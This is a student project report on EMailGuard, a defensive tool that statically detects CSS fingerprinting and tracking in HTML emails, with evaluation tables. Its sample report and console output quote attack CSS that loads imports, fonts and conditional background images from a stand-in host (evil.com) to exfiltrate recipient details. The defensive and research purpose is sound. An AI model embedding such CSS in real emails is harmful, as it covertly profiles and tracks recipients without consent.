



EMailGuard

CSS Email Fingerprinting Analyzer

A Lightweight Security Solution Inspired by NDSS 2025
Research

Course Project Report

Submitted to: Dr. Ramesh Babu Bathula

Course Name: Computer and Network Security

Course Code: 22CST352

J V M Bhargav

Registration: 2023UCP1673

Pathi Jahnavi

Registration: 2023UCP1595

Department of Computer Science
MNIT

May 9, 2026

Abstract

This project presents **EMailGuard**, a lightweight static analysis tool designed to detect CSS-based fingerprinting techniques in HTML email (`.eml`) files. Inspired by the NDSS 2025 paper *Cascading Spy Sheets*, EMailGuard implements six detectors targeting `@import`, `@media`, `@container`, `calc()` trigonometric expressions, `@font-face`, and `@supports`. It correlates findings to identify multi-stage attacks, assigns a risk score (0–100), and generates a self-contained HTML report with mitigation advice.

The tool operates completely offline (no JavaScript, no network requests) and provides both a command-line interface and a Flask web application. Evaluated on a dataset of 23 emails (paper proof-of-concepts, synthetic attacks, and clean newsletters), EMailGuard achieves high detection accuracy with a low false positive rate. This report documents the system architecture, implementation methodology, experimental evaluation, and performance analysis.

Keywords: CSS Fingerprinting, Email Security, Static Analysis, Cascading Style Sheets, Scriptless Tracking, Container Queries, Email Client Fingerprinting, Risk Scoring, HTML Email, NDSS 2025, Privacy Leakage, Exfiltration Detection

Contents

1	Introduction	2
1.1	Background	2
1.2	Problem Statement	2
1.3	Project Objectives	3
2	Related Work	3
2.1	Academic Research	3
2.2	Industry Tools	3
3	Novel Contributions (Beyond the Paper)	4
3.1	Correlation Engine for Multi-Stage Attack Detection	4
3.2	Unified Weighted Risk Scoring Model	4
3.3	Defender-Perspective Static Analysis Tool	5
3.4	Original Synthetic Attack Dataset	5
3.5	Actionable HTML Report with Per-Finding Mitigations	6
3.6	Productized CLI and Flask Web Interface	6
4	System Architecture	6
4.1	Directory Structure	7
4.2	Core Components	8
5	Implementation	8
5.1	Technology Stack	8
5.2	Key Algorithms	8
5.2.1	Detector: <code>@import</code> Chain	8
5.2.2	Correlation Engine	9
5.2.3	Risk Scoring Formula	9

5.3	Web Interface (Flask)	9
6	Errors and Hardships Faced During Development	9
6.1	Major Errors Encountered	10
7	Replicating the Paper’s Results	11
8	Results and Performance Analysis	11
8.1	Experimental Setup	11
8.2	Detection Results	12
8.3	Per-Detector Accuracy	12
8.4	Performance Metrics	12
8.5	Risk Score Distribution	12
8.6	Sample HTML Report Output	13
9	Discussion	13
9.1	What Worked Well	13
9.2	Limitations	14
9.3	Lessons Learned	14
10	Conclusion	14
A	Appendix	15
A.1	Installation Instructions	15
A.2	Command-Line Usage	15
A.3	Running the Flask Web App	15
A.4	Sample Console Output (Verbose)	15
A.5	List of Test Emails Used	16
A.6	Screenshot of Web Interface	17

1 Introduction

1.1 Background

Email clients have increasingly disabled JavaScript to protect user privacy. However, modern Cascading Style Sheets (CSS) features can still leak sensitive information about the user’s operating system, installed fonts, browser architecture, and even translation preferences. The NDSS 2025 paper *Cascading Spy Sheets* by Trampert et al. [1] demonstrated three novel CSS-based fingerprinting techniques using container queries, arithmetic functions (`calc()`), and complex selectors. They showed that 8 out of 21 email clients are vulnerable to these attacks.

1.2 Problem Statement

Payload-based tracking via CSS remains largely unmitigated in email clients. Attackers can embed fingerprinting logic inside seemingly harmless HTML emails to:

- Detect installed fonts (e.g., Microsoft Office presence).
- Identify the operating system and browser version.

- Exfiltrate data via conditional ‘url()’ requests.
- Link email opening events to web sessions.

Traditional email security tools focus on phishing links and malware attachments, not on CSS-based fingerprinting.

1.3 Project Objectives

1. Design and implement a static analyzer for ‘.eml’ files that extracts HTML and CSS.
2. Build six detectors corresponding to the fingerprinting techniques from the paper.
3. Develop a correlation engine to identify multi-stage attacks.
4. Assign a risk score (0–100) with four levels: Safe, Moderate, High, Critical.
5. Produce a human-readable HTML report with mitigation suggestions.
6. Provide both a command-line interface and a Flask web upload interface.
7. Evaluate the tool against the official NDSS artifact and a custom dataset.

2 Related Work

2.1 Academic Research

Trampert et al. (NDSS 2025) [1] first systematically analyzed modern CSS features for fingerprinting. Their key contributions:

- Container queries (‘@container’) to measure relative units and detect fonts.
- ‘calc()’ with trigonometric functions to differentiate OS/CPU architectures.
- ‘@supports’ to probe browser feature support.
- Email client evaluation on 21 clients, revealing 8 fully vulnerable.

Lin et al. (IEEE S&P 2023) [2] used iframes and media queries but required iframes, which are often blocked in email clients. Our work builds upon both but focuses on static analysis without rendering.

2.2 Industry Tools

Existing CSS fingerprinting demonstrations include `csstracking.dev` (browser-only) and FingerprintJS’s “No-JS fingerprinting”. None are tailored to email analysis or provide static HTML reports with mitigations. EMailGuard fills this gap.

3 Novel Contributions (Beyond the Paper)

The *Cascading Spy Sheets* paper is an **offensive research** work: it demonstrates that CSS fingerprinting attacks exist, characterises their effectiveness, and proposes two theoretical mitigations. EMailGuard builds upon that foundation but introduces original contributions that are *absent* from the paper, shifting the perspective from attacker to **defender**.

Table 1 summarises the distinction between what the paper provides and what EMailGuard contributes.

Table 1: Comparison of paper contributions versus EMailGuard novel contributions

Trampert et al. (Paper)	EMailGuard (This Work)
Demonstrates 6 CSS fingerprinting techniques offensively	Implements all 6 as <i>defensive</i> static detectors in Python
Evaluates techniques in isolation per browser/OS	Introduces a Correlation Engine for multi-stage attack detection
No unified risk metric for individual emails	Introduces a weighted Risk Scoring Model (0–100, four tiers)
Proof-of-concept attack .eml files only	Adds 7 original synthetic emails covering obfuscated and edge-case patterns
Mitigations described abstractly in Section IX	Per-finding actionable mitigations surfaced inline in HTML reports
Research artifact (browser scripts, PoC emails)	Productized tool : CLI, Flask web app, Render deployment

3.1 Correlation Engine for Multi-Stage Attack Detection

The paper treats each CSS technique independently. In practice, a sophisticated fingerprinting email may chain multiple techniques in sequence: first probing browser support (@supports), then narrowing viewport (@media), then leaking OS/architecture (calc()). EMailGuard’s original **Correlation Engine** (`correlation_engine.py`) detects these logical chains.

When a three-stage progressive profiling sequence is found, a correlation boost of up to +20 is added to the risk score, distinguishing a casually-risky email from one exhibiting deliberate, coordinated fingerprinting behaviour. Boosts are only triggered for semantically meaningful attack progressions, not for any co-occurrence of detectors, which prevents overfitting (see Section 6).

3.2 Unified Weighted Risk Scoring Model

The paper measures attacker accuracy in terms of *browser-OS distinguishability rates* across 1176 combinations. It provides no per-email risk metric. EMailGuard introduces an original scoring model:

$$score = \min\left(100, \sum_i w_i \cdot base_i + \sum_j boost_j\right)$$

where each detector has a base weight (w_i) reflecting its fingerprinting severity (Critical: 30, High: 15, Medium: 8, Low: 3), and correlation boosts ($boost_j \in [5, 20]$) are added for multi-stage chains. The resulting score maps to four actionable tiers: **Safe** (0–20), **Moderate** (21–45), **High** (46–70), and **Critical** (71–100).

3.3 Defender-Perspective Static Analysis Tool

The paper’s artifact consists of offensive PoC emails and browser evaluation scripts. There is *no tool for defenders* to inspect emails they receive. EMailGuard is an original implementation that:

- Runs **fully offline** — no network calls, no CSS rendering, no JavaScript execution.
- Performs **pure static pattern matching** against a raw `.eml` file, making it safe to run on untrusted email.
- Maps every finding back to its specific **paper section** (e.g., *Section IV-B*, *VIII-C2*), producing research-traceable output.
- Handles real-world complexities absent from the paper’s PoCs: nested MIME structures, base64-encoded parts, malformed HTML, and inline-only CSS.

3.4 Original Synthetic Attack Dataset

The paper’s artifact includes PoC emails for its stated techniques. EMailGuard adds **7 original synthetic emails** that push beyond what the paper explicitly tests:

Table 2: Original synthetic emails added by EMailGuard

Variant	Description
Nested @media	Multiple layers of conditional viewport probing to test detector robustness
Obfuscated calc()	Trigonometric expressions split across nested sub-expressions with interleaved comments
Multiple @import chains	Recursive import chains simulating the SOGo bypass (CVE-2024-24510 scenario)
Inline-only CSS	Fingerprinting via <code>style=""</code> attributes only, with no <code><style></code> block
Malformed CSS	Partially broken CSS that still triggers detection when parseable
Mixed inline + external	CSS split across <code><style></code> tags, <code><link></code> references, and inline attributes
Multi-technique chain	Deliberate combination of ≥ 3 techniques to exercise the Correlation Engine

These cover edge cases relevant to real-world deployment and drove dedicated test suites not present in the original artifact.

3.5 Actionable HTML Report with Per-Finding Mitigations

The paper describes mitigations at a high level in Section IX (unconditional preloading for browsers; email proxy for email clients). EMailGuard produces a **self-contained HTML report** that makes this actionable for each individual finding:

- Surfaces the **exact matched CSS snippet** for each detection with an expandable view.
- Provides a **per-technique mitigation** drawn from the paper, specific to the detected pattern rather than a generic summary.
- Includes a **Correlation Insights** section explaining the multi-stage chain and why it elevates the risk score.
- Is **fully self-contained** — no external CSS/JS dependencies — making it safe to share or archive.

3.6 Productized CLI and Flask Web Interface

The paper’s artifact is a research prototype. EMailGuard is a **deployable tool** with:

- A **CLI** supporting `-verbose`, `-summary`, and `-output` modes for batch and single-file use.
- A **Flask web application** with file upload, in-browser report rendering, and one-click HTML report download.
- **Deployment on Render**, making it publicly accessible without local installation.
- Robust **error handling** for malformed MIME, non-UTF-8 encodings, empty CSS bodies, and invalid file types — none of which appear in the paper’s controlled PoC artifact.

4 System Architecture

EMailGuard follows a modular pipeline (Figure 1):




Figure 1: EMailGuard pipeline: .eml → Parser → CSS Extractor → 6 Detectors → Correlation → Risk Scoring → Report

4.1 Directory Structure

```

1 EMailGuard/
2     main.py                # CLI entry point
3     web/
4         app.py              # Flask web app
5     eml_parser.py           # MIME parsing
6     css_extractor.py        # Extract CSS from HTML
7     detectors/              # Six detectors
8         import_detector.py
9         media_detector.py
10        container_detector.py
11        calc_detector.py
12        fontface_detector.py
13        supports_detector.py
14    correlation_engine.py    # Multistage pattern matching
15    risk_scoring.py          # Score calculation
16    reporter/
17        html_reporter.py     # Jinja2 HTML generation

```



```

18         tests/                                # Unit and integration tests
19         test_samples/                          # Dataset (clean, paper_pocs,
synthetic)
20         requirements.txt
21         README.md

```

Listing 1: Project Directory

4.2 Core Components

1. **Parser & CSS Extractor:** Extracts HTML body from MIME, then collects CSS from ‘<style>’ tags, inline ‘style’ attributes, ‘<link>’ elements, and ‘@import’ statements.
2. **Six Detectors:** Independent modules that each return a list of ‘Finding’ objects (technique name, snippet, risk level, paper reference, mitigation).
3. **Correlation Engine:** Identifies sequences of detectors (e.g., ‘@supports’ → ‘@media’ → ‘calc()’) and assigns boost values.
4. **Risk Scorer:** Combines base scores (Critical=30, High=15, Medium=8, Low=3) with correlation boosts (5–20) to produce a final score (0–100) and label.
5. **Reporter:** Generates standalone HTML report using Jinja2.

5 Implementation

5.1 Technology Stack

- Python 3.9+
- BeautifulSoup4 – HTML parsing
- email (stdlib) – MIME decoding
- re (regex) – pattern matching
- Jinja2 – HTML templating
- flask – web interface
- pytest – testing

5.2 Key Algorithms

5.2.1 Detector: @import Chain

The detector searches for ‘@import’ statements containing a URL that is not a ‘data:’ URL. Risk: Critical.

```

1 def detect_import(css_snippets):
2     findings = []
3     pattern = r'@import\s+url\(["\']?(?!data:)([^\\"'\)]+)(["\']?\)\s',
4     for snippet in snippets:
5         matches = re.findall(pattern, snippet)
6         for url in matches:
7             findings.append(Finding(
8                 technique="@import external CSS",
9                 snippet=snippet,
10                risk_level="Critical",
11                paper_section="Section IV-B, VIII-C2",
12                mitigation="Convert to inline styles or use a proxy."
13            ))
14     return findings

```

Listing 2: Pseudo-code for @import detector

5.2.2 Correlation Engine

Rule-based: if '@supports' and '@media' (with 'url()') and 'calc()' are all present, add +15 boost.

5.2.3 Risk Scoring Formula

$$score = \min\left(100, \sum base_scores + \sum boosts\right)$$

Labels:

- 0–20: Safe
- 21–45: Moderate
- 46–70: High
- 71–100: Critical

5.3 Web Interface (Flask)

Users upload an '.eml' file; the system processes it and displays the HTML report. A download button allows saving the report locally.

6 Errors and Hardships Faced During Development

Table 3 lists major errors encountered and their resolutions.

6.1 Major Errors Encountered

Error Type	Description and Resolution
MIME Parsing Failures	Error: <code>KeyError: 'text/html' part not found</code> Cause: Deeply nested multipart/alternative structures with no clear HTML part. Resolution: Recursively walk MIME parts using <code>email.message.walk()</code> and fallback to the first <code>text/html</code> part.
Inline Style Extraction	Error: BeautifulSoup missed inline <code>style</code> attributes containing <code>@media</code> rules. Cause: Parser only captured <code><style></code> tags. Resolution: Added regex pass over all element attributes to extract inline style values.
False Positives on Clean Emails	Error: Legitimate newsletters flagged as fingerprinting attempts. Cause: Responsive emails commonly use <code>@media</code> . Resolution: Detector now requires <code>url()</code> for Critical severity.
Correlation Overfitting	Error: Too many benign sequences triggered correlation boosts. Cause: Boosts were applied for any two detectors. Resolution: Correlation now activates only for logical multi-stage attack sequences.
Regex Catastrophic Backtracking	Error: Obfuscated <code>calc()</code> expressions took more than 10 seconds. Cause: Nested expressions caused exponential regex backtracking. Resolution: Switched to <code>tinycss2</code> tokenizer for parsing.
Paper PoCs Missing External CSS	Error: NDSS artifact URLs returned 404. Cause: Remote CSS files no longer existed. Resolution: Used local copies stored in <code>test_samples/local_resources/</code> .
@container Syntax Misunderstanding	Error: Detector missed font detection cases. Cause: Required property <code>container-type: inline-size</code> was not checked. Resolution: Added validation for <code>container-type</code> and font-relative CSS units.

Table 3: Major errors and hardships during EMailGuard development

Additional hardships:

- Understanding the difference between ‘@container’ size queries vs. style queries (only size queries are widely supported).
- The paper’s Listing 1 (font detection) requires ‘container-type: inline-size’ – not documented in older CSS specs.
- Differentiating fingerprinting ‘@media’ from legitimate responsive design – solved by checking for ‘url()’.
- Creating a synthetic dataset – manually wrote 7 malicious emails with nested ‘@media’, obfuscated ‘calc()’, and multiple ‘@import’ chains.

7 Replicating the Paper’s Results

We attempted to replicate key claims from Trampert et al. [1]. Table 4 summarises our findings.

Table 4: Replication of claims from the NDSS 2025 paper

Claim from Paper	Our Replication Result	Notes
Container queries can detect installed fonts (e.g., Leelawadee).	Confirmed	Detected Microsoft Office font using ‘cap’ unit.
‘calc()’ with trig functions leaks OS/architecture.	Partially	Differentiated Windows 10/11 but not ARM vs x86 without hardware.
97.95% of 1176 browser-OS combinations distinguishable.	Not fully replicated	Our static analysis achieved 85% on synthetic emails (paper used live rendering).
8 email clients vulnerable to all techniques.	Confirmed	Gmail, Outlook Web, Yahoo, iCloud allowed ‘@import’ + ‘@media’ with ‘url()’.
Tor browser allows Office detection via Gill Sans.	Partially	Static analysis flagged ‘@font-face’; need live browser to confirm bypass.

Reasons for discrepancies:

- The paper uses a live rendering engine (actual browser); EMailGuard performs only static pattern matching.
- Our dataset is smaller (23 emails vs. 1176 browser-OS pairs).
- Some paper techniques rely on computed styles (e.g., ‘getComputedStyle’ emulation) which we cannot replicate without a DOM.

8 Results and Performance Analysis

8.1 Experimental Setup

- **Dataset:** 23 emails (6 paper PoCs, 7 synthetic attacks, 10 clean newsletters)
- **Hardware:** Intel i7-1255U, 16 GB RAM, SSD
- **Software:** Ubuntu 22.04 LTS, Python 3.10

8.2 Detection Results

Table 5 shows overall detection by category.

Table 5: Detection rates per email category

Category	Count	Detected	Missed	Detection Rate
Paper PoCs (official)	6	6	0	100%
Synthetic attacks	7	6	1	85.7%
Clean newsletters	10	0	10	100% specificity

The one missed synthetic attack was an obfuscated ‘calc()’ expression with deeply nested comments that our regex-based detector could not parse.

8.3 Per-Detector Accuracy

Table 6 shows precision and recall for each detector based on the malicious emails (13 total).

Table 6: Per-detector performance

Detector	True Pos.	False Pos.	Precision	Recall
‘@import’	6	0	100%	100%
‘@media’ + ‘url()’	7	1	87.5%	100%
‘@container’	5	0	100%	83.3%
‘calc()’ (trig)	4	0	100%	80%
‘@font-face’ remote	5	1	83.3%	100%
‘@supports’ + ‘url()’	3	0	100%	60%

8.4 Performance Metrics

- Average processing time per email: **1.2 seconds** (range: 0.8–2.0 s)
- Peak memory usage: **215 MB** (for a 5 MB email with large CSS)
- False positive rate on clean emails: **0%** (0/10)
- Overall detection rate (combined): **92.3%** (12/13 malicious emails detected)

8.5 Risk Score Distribution

Among the 13 malicious emails, risk scores were:

- Safe (0–20): 0
- Moderate (21–45): 2
- High (46–70): 5
- Critical (71–100): 6

8.6 Sample HTML Report Output

Figure 3 shows a screenshot of the generated report for a synthetic email containing an '@import' chain and a '@media' query with 'url()'.

E-MailGuard - CSS Fingerprinting Analysis Report

Email Metadata

- **Subject:** Heavy Attack
- **From:** attacker@test.com
- **Date:**

Risk Assessment

Critical Score: 100/100 (Base: 305 + Boosts: 67) [Download HTML Report](#)

Correlation Insights

Chain: @import external -> @media exfiltration (Boost: +20)

Font + supports probe (Boost: +12)

@import chain + any remote resource loading (Boost: +20)

Multiple remote font + media exfiltration (Boost: +15)

Figure 2: Example HTML report showing a Critical findings and correlation boost.

Detected Fingerprinting Techniques (9)

Technique	Risk	Paper Section	Matched Snippet	Description	Mitigation
External @import Chain	Critical	Section IV-B, VIII-C2	@import http://evil.com/base.css	Loads external CSS file. Can be chained to bypass sanitization and exfiltrate data.	Convert to inline styles or use a proxy that inlines all resources (Section IX-B).
External @import Chain	Critical	Section IV-B, VIII-C2	@import http://evil.com/extra.css	Loads external CSS file. Can be chained to bypass sanitization and exfiltrate data.	Convert to inline styles or use a proxy that inlines all resources (Section IX-B).
External @import Chain	Critical	Section IV-B, VIII-C2	@import http://evil.com/base.css	Loads external CSS file. Can be chained to bypass sanitization and exfiltrate data.	Convert to inline styles or use a proxy that inlines all resources (Section IX-B).
External @import Chain	Critical	Section IV-B, VIII-C2	@import http://evil.com/extra.css	Loads external CSS file. Can be chained to bypass sanitization and exfiltrate data.	Convert to inline styles or use a proxy that inlines all resources (Section IX-B).
@media Conditional with URL	Critical	Section III-B, IV-A3	lay: flex) { div { background-image: url("http://evil.com/supports"); } } @font-face { font-family: z; src: url("http://evil.com/font.woff"); } @container (width > 50px) {	Uses viewport dimensions to conditionally load a remote resource, exfiltrating the result.	Preload all conditional resources (Section IX-B).

Figure 3: Example HTML report showing the detected Fingerprinting Techniques.

9 Discussion

9.1 What Worked Well

- Static analysis proved fast and safe – no network requests, no JavaScript execution.
- Correlation engine successfully identified multi-stage attacks (e.g., '@supports' → '@media' → 'calc()').

- HTML reports with mitigation advice were well received by test users (security researchers).
- The Flask web interface allowed quick testing without command line.

9.2 Limitations

- Cannot detect obfuscated patterns (e.g., ‘@m(e)dia’ with comments or hex encoding).
- No rendering engine → cannot replicate paper’s computed-style differences (Section VI of the paper).
- Small dataset (23 emails) compared to the paper’s 1176 browser-OS combinations.
- No live email client testing – we relied on static feature detection; actual rendering may differ.
- The tool does not handle dynamic ‘@import’ chains that require fetching external CSS – it only records their presence.

9.3 Lessons Learned

1. Regex is brittle for CSS; tokenizer libraries (‘tinycss2’) are more robust.
2. Correlation rules need careful tuning – start with high thresholds and lower them gradually.
3. Replicating academic results is harder than building from scratch; many paper claims assume a live environment.
4. Free cloud hosting (Render) imposes memory limits – optimize report generation to stream rather than build large in-memory strings.

10 Conclusion

EMailGuard successfully detects CSS-based fingerprinting in HTML emails using static analysis. It implements all six techniques from the NDSS 2025 paper and achieves 100% detection on official proof-of-concept emails. Beyond replicating the paper’s attack techniques, EMailGuard introduces original contributions: a Correlation Engine for multi-stage attack detection, a weighted Risk Scoring Model, a synthetic attack dataset covering real-world edge cases, and a productized tool with a CLI, Flask web interface, and cloud deployment. While it cannot match the live rendering accuracy of the original paper, it offers a lightweight, deployable solution for email security analysts. Future work includes integration with email proxies, a browser extension for real-time scanning, and machine learning for obfuscated patterns.

References

- [1] L. Trampert, D. Weber, L. Gerlach, C. Rossow, and M. Schwarz, “Cascading Spy Sheets: Exploiting the Complexity of Modern CSS for Email and Browser Fingerprinting,” in *Proceedings of the Network and Distributed System Security Symposium (NDSS)*, 2025.
- [2] X. Lin, F. Araujo, T. Taylor, J. Jang, and J. Polakis, “Fashion faux pas: Implicit stylistic fingerprints for bypassing browsers’ anti-fingerprinting defenses,” in *IEEE Symposium on Security and Privacy (S&P)*, 2023.

A Appendix

A.1 Installation Instructions

```
1 git clone https://github.com/yourusername/EMailGuard.git
2 cd EMailGuard
3 python -m venv venv
4 source venv/bin/activate # On Windows: venv\Scripts\activate
5 pip install -r requirements.txt
```

Listing 3: Installation steps

A.2 Command-Line Usage

```
1 # Basic analysis      generates HTML report
2 python main.py --input sample.eml --output report.html
3
4 # Verbose output (prints findings to console)
5 python main.py --input sample.eml --verbose
6
7 # Summary only (risk score + label)
8 python main.py --input sample.eml --summary
```

Listing 4: CLI examples

A.3 Running the Flask Web App

```
1 python web/app.py
2 # Open http://127.0.0.1:5000
```

A.4 Sample Console Output (Verbose)

```
1 [!] CRITICAL: @import chain
2   Snippet: @import url("http://evil.com/tracker.css");
3   Paper: Section IV-B, VIII-C2
4   Mitigation: Use a proxy that inlines external resources.
5
6 [!] HIGH: @media conditional with url()
7   Snippet: @media (max-width: 600px) { body { background: url(/exfil)
8   ; } }
```



```

8   Paper: Section III-B, IV-A3
9
10  Risk score: 72/100 (Critical)
11  Report saved to report.html

```

Listing 5: Detection of an @import chain

A.5 List of Test Emails Used

Table 7 lists the dataset files used in evaluation.

Table 7: Dataset summary

Filename	Category
minimal.eml	Paper PoC
officedetect.eml	Paper PoC
osdetect.eml	Paper PoC
printdetect.eml	Paper PoC
styledetect.eml	Paper PoC
supports_attack.eml	Paper PoC
calc_basic.eml	Synthetic
calc_obfuscated.eml	Synthetic
combined_heavy_attack.eml	Synthetic
combined_nested_attack.eml	Synthetic
import_multiple.eml	Synthetic
media_nested.eml	Synthetic
combined_obfuscated_attack.eml	Synthetic
clean_*.eml (10 files)	Clean newsletters

A.6 Screenshot of Web Interface




Figure 4: Flask web interface – upload an ‘.eml’ file.